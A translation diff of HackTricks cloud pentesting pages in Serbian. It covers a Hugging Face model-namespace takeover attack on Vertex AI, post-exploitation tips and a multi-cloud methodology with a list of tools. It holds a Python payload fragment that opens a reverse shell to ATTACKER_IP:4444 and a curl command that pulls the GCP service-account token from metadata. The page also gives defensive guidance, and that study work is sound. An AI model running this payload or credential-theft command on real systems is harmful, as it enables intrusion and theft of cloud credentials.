- Kontinuirano skenirajte codebases i defaults/docstrings/notebooks radi hard-coded Author/ModelName koji su obrisani/transferisani; ažurirajte ili pin-ujte.
|
||||
- Proverite postojanje autora i poreklo modela pre deployment-a.
|
||||
|
||||
## Heuristike prepoznavanja (HTTP)
|
||||
## Recognition Heuristics (HTTP)
|
||||
|
||||
- Obrisani autor: author stranica 404; legacy model path 404 dok ne dođe do takeover-a.
|
||||
- Prebačeni model: legacy path 307 na novog autora dok stari autor postoji; ako stari autor kasnije bude obrisan i ponovo registrovan, legacy path može služiti sadržaj napadača.
|
||||
- Deleted author: author stranica vraća 404; legacy model path vraća 404 dok ne dođe do preuzimanja.
|
||||
- Transferred model: legacy path vraća 307 na novog autora dok stari autor postoji; ako se stari autor kasnije obriše i ponovo registruje, legacy path može služiti zlonamerni sadržaj.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
@@ -86,9 +86,9 @@ curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
## Izvori
|
||||
|
||||
- [Ponovna upotreba imenskog prostora modela: AI napad na lanac snabdevanja koji iskorišćava poverenje u ime modela (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Preimenovanje ili prenos repo-a](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Post Exploitation
|
||||
# GCP - Post-eksploatacija
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -5,19 +5,19 @@
|
||||
## Scenarij
|
||||
|
||||
- Vertex AI Model Garden omogućava direktno postavljanje mnogih Hugging Face (HF) modela.
|
||||
- HF model identifiers are Author/ModelName. Ako je author/org na HF obrisan, isto ime autora može ponovo registrovati bilo ko. Napadači potom mogu kreirati repo sa istim ModelName na legacy path.
|
||||
- Pipelines, SDKs, or cloud catalogs koji povlače resurse samo po imenu (bez pinovanja/integriteta) će povući attacker-controlled repo. Kada se model deploy-uje, loader code iz tog repo-a može se izvršiti unutar Vertex AI endpoint kontejnera, dajući RCE sa dozvolama endpointa.
|
||||
- HF identifikatori modela su Author/ModelName. Ako je autor/org na HF obrisan, isti naziv autora može ponovo registrovati bilo ko. Napadači tada mogu kreirati repo sa istim ModelName na legacy putanji.
|
||||
- Pipelines, SDKs, ili cloud catalogs koji povlače po imenu bez pinovanja/integriteta će dohvatiti repo pod kontrolom napadača. Kada je model deploy-ovan, loader code iz tog repoa može se izvršiti unutar Vertex AI endpoint container-a, što dovodi do RCE sa permisijama endpoint-a.
|
||||
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: Stari put vraća 404 dok neko ponovo ne registruje autora i ne objavi isti ModelName.
|
||||
- Ownership transfer: HF issues 307 redirects sa starog Author/ModelName na novog autora. Ako stari autor kasnije bude obrisan i ponovo registrovan od strane napadača, redirect lanac je prekinut i attacker’s repo služi na legacy path.
|
||||
Dva česta slučaja takeover-a na HF:
|
||||
- Brisanje vlasništva (Ownership deletion): Stari path vraća 404 dok neko ne ponovo registruje autora i ne objavi isti ModelName.
|
||||
- Prenos vlasništva (Ownership transfer): HF vraća 307 redirect-e sa starog Author/ModelName na novog autora. Ako je stari autor kasnije obrisan i ponovo registrovan od strane napadača, redirect lanac se prekida i napadačev repo služi na legacy putanji.
|
||||
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
## Identifikacija ponovo upotrebljivih namespace-ova (HF)
|
||||
|
||||
- Old author deleted: stranica autora vraća 404; model path može vraćati 404 dok ne dođe do takeover-a.
|
||||
- Transferred models: stara putanja modela vraća 307 ka novom vlasniku dok stari autor postoji. Ako stari autor bude kasnije obrisan i ponovo registrovan, legacy path će pokazivati na attacker’s repo.
|
||||
- Stari autor obrisan: stranica autora vraća 404; model path može vraćati 404 dok se ne desi takeover.
|
||||
- Transferovani modeli: stari model path vraća 307 ka novom owner-u dok stari autor postoji. Ako je stari autor kasnije obrisan i ponovo registrovan, legacy path će rešavati napadačev repo.
|
||||
|
||||
Quick checks with curl:
|
||||
Brze provere koristeći curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
@@ -30,20 +30,20 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
```
|
||||
## End-to-end tok napada protiv Vertex AI
|
||||
|
||||
1) Otkrivanje ponovo iskoristivih model namespace-ova koje Model Garden prikazuje kao deployable:
|
||||
- Pronađite HF modele u Vertex AI Model Garden koji i dalje imaju oznaku “verified deployable”.
|
||||
- Proverite na HF da li je originalni autor obrisan ili je model prebačen i stari autor naknadno uklonjen.
|
||||
1) Otkrivanje ponovo upotrebljivih model namespaces koje Model Garden navodi kao deployable:
|
||||
- Pronađite HF modele u Vertex AI Model Garden koji i dalje prikazuju “verified deployable”.
|
||||
- Proverite na HF da li je originalni author obrisan ili je model prebačen i stari author naknadno uklonjen.
|
||||
|
||||
2) Ponovo registrovati obrisanog autora na HF i ponovo kreirati isti ModelName.
|
||||
2) Re-register the deleted author on HF and recreate the same ModelName.
|
||||
|
||||
3) Objavite maliciozni repo. Uključite kod koji se izvršava pri učitavanju modela. Primeri koji se često izvršavaju tokom HF učitavanja modela:
|
||||
- Side effects u __init__.py repoa
|
||||
- Custom modeling_*.py ili processing kod na koji se poziva iz config/auto_map
|
||||
- Code paths that require trust_remote_code=True u Transformers pipelines
|
||||
3) Objavite maliciozni repo. Uključite kod koji se izvršava pri model load-u. Primeri koji se često izvršavaju tokom HF model load-a:
|
||||
- Side effects u __init__.py repo-a
|
||||
- Custom modeling_*.py ili processing kod referenciran u config/auto_map
|
||||
- Code paths koje zahtevaju trust_remote_code=True u Transformers pipelines
|
||||
|
||||
4) Vertex AI deployment nasleđenog Author/ModelName sada povlači napadačev repo. Loader se izvršava unutar Vertex AI endpoint containera.
|
||||
4) A Vertex AI deployment of the legacy Author/ModelName sada povlači attacker repo. The loader executes inside the Vertex AI endpoint container.
|
||||
|
||||
5) Payload uspostavlja pristup iz endpoint okruženja (RCE) sa privilegijama endpointa.
|
||||
5) Payload uspostavlja pristup iz endpoint okruženja (RCE) sa dozvolama endpoint-a.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
@@ -63,49 +63,49 @@ if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Napomene
|
||||
- Loaders u stvarnom svetu variraju. Mnoge Vertex AI HF integracije kloniraju i importuju repo module koji su referencirani u model’s config (npr. `auto_map`), što može pokrenuti izvršavanje koda. Neke upotrebe zahtevaju `trust_remote_code=True`.
|
||||
- Endpoint tipično radi u posvećenom containeru sa ograničenim opsegom, ali predstavlja validan početni foothold za pristup podacima i lateralno kretanje u GCP.
|
||||
- Implementacije loader-a u stvarnom svetu variraju. Mnoge Vertex AI HF integracije kloniraju i importuju module iz repo-a koje modelova konfiguracija navodi (npr. auto_map), što može pokrenuti izvršavanje koda. Neki slučajevi upotrebe zahtevaju trust_remote_code=True.
|
||||
- Endpoint obično radi u dedikovanom kontejneru sa ograničenim opsegom, ali predstavlja validan početni oslonac za pristup podacima i lateralno kretanje u GCP.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
## Saveti za post-eksploataciju (Vertex AI Endpoint)
|
||||
|
||||
Kada kod radi unutar endpoint container-a, razmotrite:
|
||||
- Enumerisanje environment varijabli i metadata za kredencijale/tokene
|
||||
- Pristupanje prikačenom skladištu ili montiranim artefaktima modela
|
||||
- Interakcija sa Google APIs koristeći identitet service account-a (Document AI, Storage, Pub/Sub, itd.)
|
||||
- Perzistencija u artefaktu modela ako platforma ponovo povuče repo
|
||||
Kada se kod pokrene unutar kontejnera endpointa, razmislite o:
|
||||
- Enumerisanju promenljivih okruženja i metapodataka radi nalaženja kredencijala/tokena
|
||||
- Pristupu prikačenom skladištu ili montiranim artefaktima modela
|
||||
- Interakciji sa Google API-ima koristeći identitet servisnog naloga (Document AI, Storage, Pub/Sub, itd.)
|
||||
- Persistenciji u artefaktu modela ako platforma ponovo povuče repo
|
||||
|
||||
Enumerišite instance metadata ako su dostupne (zavisno od containera):
|
||||
Enumerišite metapodatke instance ako su dostupni (zavisno od kontejnera):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Odbrambene smernice za korisnike Vertex AI
|
||||
|
||||
- Pin models by commit u HF loaders da sprečite tihu zamenu:
|
||||
- Zaključajte modele po commit-u u HF loaders da biste sprečili tihu zamenu:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Preslikajte proverene HF modele u pouzdano interno skladište/registar artefakata i raspoređujte ih odatle.
|
||||
- Neprestano skenirajte kodne baze i konfiguracije zbog hardkodovanih Author/ModelName koji su izbrisani/prebačeni; ažurirajte na nove namespace-ove ili pinujte po commit-u.
|
||||
- U Model Garden, verifikujte poreklo modela i postojanje autora pre raspoređivanja.
|
||||
- Preslikajte proverene HF modele u pouzdano interno skladište/artifact registry i deploy-ujte odatle.
|
||||
- Neprekidno skenirajte codebase-ove i konfiguracione fajlove za hard-coded Author/ModelName koji su obrisani/transferisani; ažurirajte na nove namespace-ove ili ih pin-ujte na commit.
|
||||
- U Model Garden, verifikujte poreklo modela i postojanje autora pre deployment-a.
|
||||
|
||||
## Heuristike prepoznavanja (HTTP)
|
||||
## Recognition Heuristics (HTTP)
|
||||
|
||||
- Izbrisan autor: stranica autora vraća 404; nasleđena putanja modela vraća 404 dok ne dođe do preuzimanja.
|
||||
- Prebačen model: nasleđena putanja vraća 307 ka novom autoru dok stari autor postoji; ako je stari autor kasnije obrisan i ponovo registrovan, nasleđena putanja poslužuje sadržaj napadača.
|
||||
- Deleted author: author page 404; legacy model path 404 until takeover.
|
||||
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Međureferencije
|
||||
## Unakrsne reference
|
||||
|
||||
- Pogledajte širu metodologiju i napomene o supply-chain:
|
||||
- Pogledajte širu metodologiju i napomene o lancu snabdevanja:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Izvori
|
||||
## Reference
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting Cloud Methodology
|
||||
# Pentesting Cloud Metodologija
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,39 +6,39 @@
|
||||
|
||||
## Osnovna metodologija
|
||||
|
||||
Svaki cloud ima svoje specifičnosti, ali generalno postoje neke **uobičajene stvari koje pentester treba da proveri** kada se testira cloud okruženje:
|
||||
Svaki cloud ima svoje osobenosti, ali generalno postoji nekoliko **zajedničkih stvari koje pentester treba da proveri** kada testira cloud okruženje:
|
||||
|
||||
- **Benchmark checks**
|
||||
- Ovo će ti pomoći da **razumeš obim** okruženja i **korišćene servise**
|
||||
- Takođe će ti omogućiti da brzo nađeš neke **brze miskonfiguracije**, pošto većinu ovih testova možeš izvesti uz pomoć **automatizovanih alata**
|
||||
- **Services Enumeration**
|
||||
- Verovatno nećeš pronaći mnogo dodatnih miskonfiguracija ovde ako si ispravno uradio benchmark tests, ali možeš naći neke koje nisu bile obuhvaćene tokom benchmark testa.
|
||||
- Ovo će ti omogućiti da znaš **šta se tačno koristi** u cloud okruženju
|
||||
- **Benchmark provere**
|
||||
- Ovo će vam pomoći da **razumete veličinu** okruženja i **korišćene servise**
|
||||
- Takođe će vam omogućiti da pronađete neke **brze greške u konfiguraciji** pošto većinu ovih testova možete izvršiti pomoću **automatizovanih alata**
|
||||
- **Enumeracija servisa**
|
||||
- Verovatno nećete naći mnogo više grešaka u konfiguraciji ovde ako ste pravilno izvršili benchmark testove, ali možete naći neke koje se nisu tražile u benchmark testu.
|
||||
- Ovo će vam omogućiti da znate **šta se tačno koristi** u cloud okruženju
|
||||
- Ovo će mnogo pomoći u narednim koracima
|
||||
- **Check exposed assets**
|
||||
- Ovo se može raditi tokom prethodnog odeljka — treba da **otkriješ sve što je potencijalno izloženo** Internetu na neki način i kako se može pristupiti tome.
|
||||
- Ovde uzimam u obzir **manualno izloženu infrastrukturu** kao što su instances sa web stranama ili drugim otvorenim portovima, ali i druge **cloud managed services koje se mogu konfigurisati** da budu izložene (kao što su DBs ili buckets)
|
||||
- Zatim treba da proveriš **da li taj resurs može biti izložen ili ne** (poverljive informacije? ranjivosti? miskonfiguracije u izloženom servisu?)
|
||||
- **Check permissions**
|
||||
- Ovde bi trebalo da **otkriješ sve dozvole svake role/korisnika** unutar clouda i kako se one koriste
|
||||
- Previše **veoma privilegovanih** (kontrolišu sve) naloga? Generisani ključevi se ne koriste?... Većina ovih provera bi trebalo da bude urađena tokom benchmark tests
|
||||
- Ako klijent koristi OpenID ili SAML ili neku drugu **federation**, možda ćeš morati da ih pitaš za dodatne **informacije** o **kako se dodeljuje svaka uloga** (nije isto ako je admin uloga dodeljena 1 korisniku ili 100)
|
||||
- Nije **dovoljno samo otkriti** koji korisnici imaju **admin** permissions "\*:\*". Postoji mnogo **ostalih permisija** koje, u zavisnosti od korišćenih servisa, mogu biti vrlo **osetljive**.
|
||||
- Štaviše, postoje **potencijalni privesc** putevi koji se mogu ispratiti zloupotrebom permisija. Sve to treba uzeti u obzir i treba izvesti **što je moguće više privesc puteva**.
|
||||
- **Check Integrations**
|
||||
- Veoma je verovatno da se u cloud okruženju koriste **integrations with other clouds or SaaS**.
|
||||
- Za **integrations of the cloud you are auditing** sa drugim platformama treba da obavestiš **ko ima pristup da (zloupotrebi) tu integraciju** i treba da pitaš **koliko je osetljiva** akcija koja se obavlja.\
|
||||
Na primer, ko može da upiše u AWS bucket iz kojeg GCP dobija podatke (pitaj koliko je ta radnja osetljiva u GCP prilikom obrade tih podataka).
|
||||
- Za **integrations inside the cloud you are auditing** od eksternih platformi, treba da pitaš **ko ima eksterni pristup da (zloupotrebi) tu integraciju** i proveriš kako se ti podaci koriste.\
|
||||
Na primer, ako servis koristi Docker image hostovan u GCR, treba da pitaš ko ima pristup da izmeni taj image i koje osetljive informacije i pristupe će taj image dobiti kada se izvrši unutar AWS cloud-a.
|
||||
- **Provera izloženih resursa**
|
||||
- Ovo može biti urađeno tokom prethodnog dela, potrebno je da **otkrijete sve što je potencijalno izloženo** Internetu na neki način i kako se može pristupiti.
|
||||
- Ovde mislim na **ručno izloženu infrastrukturu** kao što su instance sa web stranicama ili drugim izloženim portovima, i takođe na druge **cloud managed services koje se mogu konfigurisati** da budu izložene (kao što su DBs ili buckets)
|
||||
- Zatim treba da proverite **da li taj resurs može biti izložen ili ne** (poverljive informacije? ranjivosti? greške u konfiguraciji izloženog servisa?)
|
||||
- **Provera dozvola**
|
||||
- Ovde treba da **utvrdite sve dozvole svake uloge/korisnika** u cloud-u i kako se koriste
|
||||
- Previše **visoko privilegovanih** (kontrolišu sve) naloga? Generisani ključevi se ne koriste?... Većina ovih provera bi već trebalo da je urađena u benchmark testovima
|
||||
- Ako klijent koristi OpenID, SAML ili neku drugu **federation**, možda ćete morati da od njih zatražite dodatne **informacije** o **kako se svaka uloga dodeljuje** (nije isto da je admin uloga dodeljena jednom korisniku ili 100)
|
||||
- Nije dovoljno da se utvrdi koji korisnici imaju **admin** dozvole "*:*". Postoji mnogo **ostalih dozvola** koje, u zavisnosti od korišćenih servisa, mogu biti veoma **osetljive**.
|
||||
- Štaviše, postoje **potencijalni privesc** načini koji se mogu ispratiti zloupotrebom dozvola. Sve ovo treba uzeti u obzir i prijaviti **što više privesc puteva koliko je moguće**.
|
||||
- **Provera integracija**
|
||||
- Veoma je verovatno da su **integracije sa drugim cloud-ovima ili SaaS** korišćene unutar cloud okruženja.
|
||||
- Za **integracije cloud-a koje auditirate** sa drugim platformama treba da obavestite **ko ima pristup da (zloupotrebi) tu integraciju** i treba da pitate **koliko je osetljiva** akcija koja se izvršava.\
|
||||
Na primer, ko može da upisuje u AWS bucket iz kojeg GCP dobija podatke (pitajte koliko je osetljiva ta radnja u GCP prilikom obrade tih podataka).
|
||||
- Za **integracije unutar cloud-a koji auditirate** iz eksternih platform, treba da pitate **ko ima eksterni pristup da (zloupotrebi) tu integraciju** i proverite kako se ti podaci koriste.\
|
||||
Na primer, ako servis koristi Docker image hostovan u GCR, treba da pitate ko ima pristup da modifikuje taj image i koje osetljive informacije i pristupe će taj image dobiti kada se izvrši unutar AWS cloud-a.
|
||||
|
||||
## Alati za više cloud okruženja
|
||||
## Multi-Cloud alati
|
||||
|
||||
Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovom odeljku.
|
||||
Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovom delu.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
|
||||
Alat za **identifikovanje loših konfiguracija i privesc path u cloud-ovima i između cloud-ova/SaaS.**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Podržava **AWS, GCP & Azure**. Proverite kako da konfigurišete svakog provajdera na [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
Podržava **AWS, GCP & Azure**. Pogledajte kako konfigurisati svakog provajdera na [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -168,9 +168,9 @@ steampipe check all
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Proveri sve projekte</summary>
|
||||
<summary>Proverite sve projekte</summary>
|
||||
|
||||
Da biste proverili sve projekte, potrebno je da generišete fajl `gcp.spc` koji navodi sve projekte koje treba testirati. Možete pratiti uputstva iz sledećeg skripta
|
||||
Da biste proverili sve projekte, potrebno je da generišete fajl `gcp.spc` koji navodi sve projekte koje treba testirati. Možete jednostavno slediti uputstva iz sledećeg skripta
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
Za proveru **ostalih GCP insights** (korisno za enumeraciju servisa) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
Za proveru **ostalih GCP uvida** (korisno za nabrajanje servisa) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Za proveru Terraform GCP koda: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
Za pregled Terraform GCP koda: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
Više GCP pluginova za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
Više GCP plugina za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -227,7 +227,7 @@ steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
Za proveru Terraform AWS koda: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
Više AWS plugina za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
Više AWS pluginova za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
@@ -238,11 +238,11 @@ Zahteva python2.7 i izgleda neodržavano.
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus ima skeniranje _**Audit Cloud Infrastructure**_ koje podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Potrebne su dodatne konfiguracije u **Azure** da bi se dobio **Client Id**.
|
||||
Nessus ima _**Audit Cloud Infrastructure**_ skeniranje koje podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Potrebne su neke dodatne konfiguracije u **Azure** kako bi se dobio **Client Id**.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Cloudlist je **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) od Cloud Providers.
|
||||
Cloudlist je **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography je Python alat koji objedinjava infrastrukturalne resurse i odnose između njih u intuitivnom grafičkom prikazu pokretanom Neo4j bazom podataka.
|
||||
Cartography je Python alat koji objedinuje infrastrukturne resurse i veze između njih u intuitivnom grafičkom prikazu zasnovanom na Neo4j bazi podataka.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbase prikuplja resurse i relacije iz servisa i sistema, uključujući infrastrukturu u oblaku, SaaS applications, bezbednosne kontrole i još mnogo toga, u intuitivan prikaz grafa koji se oslanja na Neo4j bazu podataka.
|
||||
Starbase prikuplja resurse i odnose iz servisa i sistema, uključujući cloud infrastrukturu, SaaS aplikacije, sigurnosne kontrole i još mnogo toga, u intuitivan grafički prikaz koji koristi Neo4j bazu podataka.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Otkrijte najprivilegovanije korisnike u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell.
|
||||
Otkriva najprivilegovanije korisnike u skeniranom AWS ili Azure okruženju, uključujući AWS Shadow Admins. Koristi powershell.
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,15 +372,15 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
Alat za pronalaženje infrastrukture kompanije (target), fajlova i aplikacija kod vodećih provajdera u oblaku (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
Alat za pronalaženje infrastrukture kompanije (cilja), fajlova i aplikacija na vodećim cloud provajderima (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox je alat za pronalaženje exploitable attack paths u cloud infrastrukturi (trenutno su podržani samo AWS & Azure, a GCP dolazi uskoro).
|
||||
- To je enumeration tool koji je namenjen da dopuni manual pentesting.
|
||||
- Ne kreira niti ne menja bilo koje podatke unutar cloud okruženja.
|
||||
- CloudFox je alat za pronalaženje iskoristivih puteva napada u cloud infrastrukturi (trenutno podržani samo AWS & Azure, a GCP dolazi uskoro).
|
||||
- To je alat za enumeraciju koji je namenjen da dopuni manualni pentesting.
|
||||
- Ne kreira niti menja bilo koje podatke unutar cloud okruženja.
|
||||
|
||||
### More lists of cloud security tools
|
||||
### Više spiskova alata za cloud sigurnost
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
@@ -410,13 +410,13 @@ aws-security/
|
||||
azure-security/
|
||||
{{#endref}}
|
||||
|
||||
### Graf napada
|
||||
### Attack Graph
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter)kreira „attack graph“ resursa u Azure subscription. Omogućava red teams i pentesters da vizualizuju attack surface i pivot opportunities unutar tenant-a, i značajno pomaže vašim defenders da brzo orijentišu i prioritetizuju incident response rad.
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) kreira „attack graph“ resursa u Azure pretplati. Omogućava red teams i pentesters da vizualizuju površinu napada i mogućnosti pivotovanja unutar tenant-a, i ubrzava vaše odbrambene timove da se brzo orijentišu i daju prioritet radu na odgovoru na incidente.
|
||||
|
||||
### Office365
|
||||
|
||||
Potrebate **Global Admin** ili bar **Global Admin Reader** (ali imajte na umu da je Global Admin Reader pomalo ograničen). Međutim, ta ograničenja se pojavljuju u nekim PS modules i mogu se zaobići pristupanjem funkcijama **putem web aplikacije**.
|
||||
Potrebno je imati **Global Admin** ili bar **Global Admin Reader** (ali imajte na umu da je Global Admin Reader pomalo ograničen). Međutim, ta ograničenja se pojavljuju u nekim PS modulima i mogu se zaobići pristupanjem funkcijama **preko web aplikacije**.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user